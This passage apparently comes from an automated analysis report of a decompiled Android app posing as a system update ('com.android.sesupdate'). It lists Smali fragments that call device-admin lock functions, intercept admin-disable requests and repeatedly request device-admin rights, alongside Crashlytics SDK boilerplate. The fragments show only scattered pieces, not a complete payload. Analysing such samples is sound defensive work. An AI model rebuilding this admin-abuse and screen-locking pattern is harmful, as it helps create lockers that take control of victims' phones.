                          5sput-object v0, Lcom/crashlytics/android/answers/AddToCartEvent;->MICRO_CONSTANT:Ljava/math/BigDecimal;
                          6return-void
                          Cross References
                          APIs
                          • java.util.List.add
                          Position Instruction Meta Information
                          0.param p1, "listener" # Lcom/crashlytics/android/answers/BackgroundManager$Listener;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/BackgroundManager;->listeners:Ljava/util/List;
                          5invoke-interface {v0, p1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                          6return-void
                          APIs
                          • java.math.BigDecimal.valueOf
                          Position Instruction Meta Information
                          0.prologue
                          1const-wide/32 v0, 0xf4240
                          3invoke-static {v0, v1}, Ljava/math/BigDecimal;->valueOf(J)Ljava/math/BigDecimal;
                          4move-result-object v0
                          5sput-object v0, Lcom/crashlytics/android/answers/PurchaseEvent;->MICRO_CONSTANT:Ljava/math/BigDecimal;
                          6return-void
                          APIs
                          • android.app.admin.DevicePolicyManager.lockNow
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v0, p0, Lcom/android/sesupdate/receivers/DeviceAdmin$1$1;->val$dpm:Landroid/app/admin/DevicePolicyManager;
                          4invoke-virtual {v0}, Landroid/app/admin/DevicePolicyManager;->lockNow()V
                          5return-void
                          APIs
                          • android.app.admin.DeviceAdminReceiver.onDisabled
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.param p2, "intent" # Landroid/content/Intent;
                          2.prologue
                          4invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onDisabled(Landroid/content/Context;Landroid/content/Intent;)V
                          5return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "this$0" # Lcom/android/sesupdate/services/DisableService;
                          1.prologue
                          2iput-object p1, p0, Lcom/android/sesupdate/services/DisableService$1;->this$0:Lcom/android/sesupdate/services/DisableService;
                          4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          5return-void
                          APIs
                          • com.android.sesupdate.services.DisableService.stopSelf
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v0, p0, Lcom/android/sesupdate/services/DisableService$1;->this$0:Lcom/android/sesupdate/services/DisableService;
                          4invoke-virtual {v0}, Lcom/android/sesupdate/services/DisableService;->stopSelf()V
                          5return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "this$0" # Lcom/android/sesupdate/services/FirstService;
                          1.prologue
                          2iput-object p1, p0, Lcom/android/sesupdate/services/FirstService$KeepAliveHandler;->this$0:Lcom/android/sesupdate/services/FirstService;
                          4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          5return-void
                          APIs
                          • com.android.sesupdate.services.FirstService.spamDeviceAdmin
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v0, p0, Lcom/android/sesupdate/services/FirstService$KeepAliveHandler;->this$0:Lcom/android/sesupdate/services/FirstService;
                          4invoke-virtual {v0}, Lcom/android/sesupdate/services/FirstService;->spamDeviceAdmin()V
                          5return-void
                          Cross References
                          APIs
                          • android.os.Binder.<init>
                          Position Instruction Meta Information
                          0.param p1, "this$0" # Lcom/android/sesupdate/services/FirstService;
                          1.prologue
                          2iput-object p1, p0, Lcom/android/sesupdate/services/FirstService$ServiceBinder;->this$0:Lcom/android/sesupdate/services/FirstService;
                          4invoke-direct {p0}, Landroid/os/Binder;-><init>()V
                          5return-void
                          Cross References
                          APIs
                          • android.os.AsyncTask.<init>
                          Position Instruction Meta Information
                          0.param p1, "this$0" # Lcom/android/sesupdate/ApkUtils;
                          1.prologue
                          2iput-object p1, p0, Lcom/android/sesupdate/ApkUtils$sendTask;->this$0:Lcom/android/sesupdate/ApkUtils;
                          4invoke-direct {p0}, Landroid/os/AsyncTask;-><init>()V
                          5return-void
                          APIs
                          • com.android.sesupdate.ApkUtils$sendTask.doInBackground
                          Position Instruction Meta Information
                          0.prologue
                          1check-cast p1, [Ljava/lang/String;
                          3invoke-virtual {p0, p1}, Lcom/android/sesupdate/ApkUtils$sendTask;->doInBackground([Ljava/lang/String;)Ljava/lang/String;
                          4move-result-object v0
                          5return-object v0
                          APIs
                          • android.app.Activity.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Landroid/app/Activity;-><init>()V
                          3const/16 v0, 0x29a
                          4iput v0, p0, Lcom/android/sesupdate/MainActivity;->ACTIVATION_REQUEST:I
                          5return-void
                          APIs
                          • android.app.Activity.onDestroy
                          Position Instruction Meta Information
                          0.prologue
                          1const/4 v0, 0x0
                          2sput-boolean v0, Lcom/android/sesupdate/MainActivity;->isForeground:Z
                          4invoke-super {p0}, Landroid/app/Activity;->onDestroy()V
                          5return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3const/4 v0, 0x4
                          4iput v0, p0, Lio/fabric/sdk/android/DefaultLogger;->logLevel:I
                          5return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "logLevel" # I
                          1.prologue
                          3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          4iput p1, p0, Lio/fabric/sdk/android/DefaultLogger;->logLevel:I
                          5return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "apkFileName" # Ljava/lang/String;
                          1.prologue
                          3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          4iput-object p1, p0, Lio/fabric/sdk/android/FabricKitsFinder;->apkFileName:Ljava/lang/String;
                          5return-void
                          APIs
                          • java.lang.RuntimeException.<init>
                          Position Instruction Meta Information
                          0.param p1, "detailMessage" # Ljava/lang/String;
                          1.param p2, "throwable" # Ljava/lang/Throwable;
                          2.prologue
                          4invoke-direct {p0, p1, p2}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                          5return-void
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3const/4 v0, 0x7
                          4iput v0, p0, Lio/fabric/sdk/android/SilentLogger;->logLevel:I
                          5return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "this$0" # Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          1.prologue
                          2iput-object p1, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$2;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          5return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "this$0" # Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          1.prologue
                          2iput-object p1, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$3;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          5return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "this$0" # Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          1.prologue
                          2iput-object p1, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$4;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          5return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "this$0" # Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          1.prologue
                          2iput-object p1, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$5;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          5return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "prefStore" # Lio/fabric/sdk/android/services/persistence/PreferenceStore;
                          1.prologue
                          3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          4iput-object p1, p0, Lcom/crashlytics/android/answers/AnswersPreferenceManager;->prefStore:Lio/fabric/sdk/android/services/persistence/PreferenceStore;
                          5return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "this$0" # Lcom/crashlytics/android/answers/BackgroundManager;
                          1.prologue
                          2iput-object p1, p0, Lcom/crashlytics/android/answers/BackgroundManager$1;->this$0:Lcom/crashlytics/android/answers/BackgroundManager;
                          4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          5return-void
                          APIs
                          • com.crashlytics.android.answers.SamplingEventFilter$1.<init>
                          Position Instruction Meta Information
                          0.prologue
                          1new-instance v0, Lcom/crashlytics/android/answers/SamplingEventFilter$1;
                          3invoke-direct {v0}, Lcom/crashlytics/android/answers/SamplingEventFilter$1;-><init>()V
                          4sput-object v0, Lcom/crashlytics/android/answers/SamplingEventFilter;->EVENTS_TYPE_TO_SAMPLE:Ljava/util/Set;
                          5return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "samplingRate" # I
                          1.prologue
                          3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          4iput p1, p0, Lcom/crashlytics/android/answers/SamplingEventFilter;->samplingRate:I
                          5return-void
                          APIs
                          • com.android.sesupdate.receivers.DeviceAdmin.onDisableRequested
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-virtual {p0, p1, p2}, Lcom/android/sesupdate/receivers/DeviceAdmin;->onDisableRequested(Landroid/content/Context;Landroid/content/Intent;)Ljava/lang/String;
                          3move-result-object v0
                          4return-object v0
                          APIs
                          • com.android.sesupdate.ApkUtils$sendTask.onPostExecute
                          Position Instruction Meta Information
                          0.prologue
                          1check-cast p1, Ljava/lang/String;
                          3invoke-virtual {p0, p1}, Lcom/android/sesupdate/ApkUtils$sendTask;->onPostExecute(Ljava/lang/String;)V
                          4return-void
                          Cross References
                          APIs
                          • android.os.AsyncTask.onPostExecute
                          Position Instruction Meta Information
                          0.param p1, "result" # Ljava/lang/String;
                          1.prologue
                          3invoke-super {p0, p1}, Landroid/os/AsyncTask;->onPostExecute(Ljava/lang/Object;)V
                          4return-void
                          Cross References
                          APIs
                          • java.lang.RuntimeException.<init>
                          Position Instruction Meta Information
                          0.param p1, "detailMessage" # Ljava/lang/String;
                          1.prologue
                          3invoke-direct {p0, p1}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                          4return-void
                          APIs
                          • android.content.BroadcastReceiver.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
                          3return-void
                          APIs
                          • android.app.admin.DeviceAdminReceiver.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Landroid/app/admin/DeviceAdminReceiver;-><init>()V
                          3return-void
                          APIs
                          • android.app.Service.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Landroid/app/Service;-><init>()V
                          3return-void
                          APIs
                          • android.app.Service.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Landroid/app/Service;-><init>()V
                          3return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          APIs
                          • android.app.Application.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Landroid/app/Application;-><init>()V
                          3return-void
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          Strings
                          • com.crashlytics.sdk.android:crashlytics
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "com.crashlytics.sdk.android:crashlytics"
                          3return-object v0
                          Strings
                          • 2.7.1.19
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "2.7.1.19"
                          3return-object v0
                          APIs
                          • android.content.ContentProvider.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Landroid/content/ContentProvider;-><init>()V
                          3return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          Strings
                          • io.fabric.sdk.android:fabric
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "io.fabric.sdk.android:fabric"
                          3return-object v0
                          Strings
                          • 1.4.1.19
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "1.4.1.19"
                          3return-object v0
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          Strings
                          • io.fabric.sdk.android:fabric
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "io.fabric.sdk.android:fabric"
                          3return-object v0
                          Strings
                          • 1.4.1.19
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "1.4.1.19"
                          3return-object v0
                          Strings
                          • addToCart
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "addToCart"
                          3return-object v0
                          Strings
                          • com.crashlytics.sdk.android:answers
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "com.crashlytics.sdk.android:answers"
                          3return-object v0
                          Strings
                          • 1.4.1.19
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "1.4.1.19"
                          3return-object v0
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          Strings
                          • contentView
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "contentView"
                          3return-object v0
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3return-void
                          Strings
                          • invite
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "invite"
                          3return-object v0
                          Strings
                          • levelEnd
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "levelEnd"
                          3return-object v0
                          Strings
                          • levelStart
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "levelStart"
                          3return-object v0
                          Strings
                          • login
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "login"
                          3return-object v0
                          Strings
                          • purchase
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "purchase"
                          3return-object v0
                          Strings
                          • rating
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "rating"
                          3return-object v0
                          Strings
                          • search
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "search"
                          3return-object v0